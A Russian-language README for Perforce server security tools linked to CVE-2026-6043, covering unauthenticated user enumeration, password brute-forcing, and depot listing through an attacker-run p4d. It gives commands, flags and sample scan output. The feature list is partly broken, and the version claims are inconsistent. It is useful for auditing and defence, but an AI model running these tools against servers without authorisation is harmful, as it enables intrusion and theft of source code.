
Исследования безопасности и инструменты Perforce - CVE-2026-6043
Инструменты для исследования безопасности Perforce (Helix Core) и шаблоны nuclei.
Статья об исследовании: https://morganrobertson.net/p4wned/
Пожалуйста, прочитайте выше для полных подробностей.
Только авторизованные цели. Используйте на своих серверах или с явным письменным разрешением.
Целевая аудитория: администраторы серверов Perforce, пентестеры, инженеры по безопасности
Обновление мая 2026: Выпущена Perforce 2026.1. Эта версия поставляется с безопасными настройками по умолчанию! Очень рады видеть этот релиз для защиты интеллектуальной собственности разработчиков. Читать далее.
Примечание: Эти инструменты сканируют неправильные конфигурации, являющиеся результатом CVE-2026-6043.
| Инструмент | Требуется |
|---|---|
p4wned.py | Python 3, p4 CLI binary (см. ниже) |
p4ghost.py | Python 3, p4 CLI binary, локальный экземпляр p4d (см. настройку ниже) |
p4-auth-hammer | g++, Perforce C++ API, OpenSSL 1.1.1 (см. p4-auth-hammer/README.md) |
| JavaScript инструменты | Node.js (без внешних зависимостей) |
| Шаблоны Nuclei | Nuclei v3+ |
| Модули Metasploit | Metasploit Framework |
Получение бинарного файла p4 (требуется для p4wned.py и p4ghost.py):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
Серверы Perforce используют собственный бинарный TCP-протокол (порт по умолчанию 1666). Многие установки поставляются с небезопасными настройками по умолчанию — неаутентифицированный список пользователей, раскрытие информации о сервере, доступные удаленные депо, отсутствие требований к паролям и отсутствие ограничения скорости попыток входа. Все инструменты здесь используют эти настройки по умолчанию без необходимости в учетных данных.
Основной сканер. Использует бинарный файл CLI p4 для перечисления пользователей, проверки учетных данных, списка депо и создания отчета.
python3 p4wned.py [-brute] [-audit] [-parallel N]
Параметры:
| Флаг | Описание |
|---|---|
-brute | Включить режим подбора — проверяет пароли для всех обнаруженных учетных записей |
-audit | Режим тщательного аудита — продолжает тестирование всех пользователей даже после нахождения уязвимости |
-parallel N | Количество параллельных попыток подбора пароля (по умолчанию: 1) |
Конфигурация (редактировать в начале скрипта):
| Переменная | Описание |
|---|---|
INPUT_FILE | Список целей (ip:port, одна на строку) — по умолчанию perforce-servers.txt |
P4_CMD | Путь к бинарному файлу p4 — по умолчанию ./p4 |
TOP_PASSWORDS_FILE | Словарь для подбора — по умолчанию top-passwords.txt |
KNOWN_CREDS_FILE | Известные пары учетных данных для первой проверки |
REPORT_FILE | Путь к выходному отчету |
Что он делает:
run.users.authorize=0)super для скомпрометированных учетных записейВывод в консоль:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
· Confirms depots access and those juicy "super" user accounts.
· Drops a tidy report so you can fix the mess before the Skids arrive
Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================
=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.
[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...
[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666
[INFO] Report saved to perforce-report-p4wned-1775436520.txt
Файл отчета (perforce-report-p4wned-*.txt):
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
Проверяет неаутентифицированный доступ к удаленному депо через скрытого пользователя remote. Эксплойт работает путем запуска локального экземпляра p4d под контролем атакующего — целевой сервер подключается к нему в рамках протокола сервер-сервер, раскрывая при этом список файлов своего депо.
Настройка (однократная):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# Start a plain ASCII p4d on port 1818 (used as the attacker's server)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# Start a unicode p4d on a separate port (1819) for unicode targets
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # convert to unicode mode
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# Example invocation using the local attacker servers above
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
Аргументы:
| Флаг | Описание |
|---|---|
input_file | Список целей (ip:port, одна на строку) |
-skipnolicense | Пропустить серверы, возвращающие Server license: none |
-report FILE | Путь к выходному отчету |
-p4cmd PATH | Путь к бинарному файлу p4 (по умолчанию ./p4) |
-unicodeport PORT | Локальный порт p4d для unicode, используемый как сервер атакующего |
-nonunicodeport PORT | Локальный порт p4d для не-unicode |
-timeout SECS | Тайм-аут команды |
Затронутые версии: Все версии ниже 2025.1 с security < 4 (по умолчанию 0).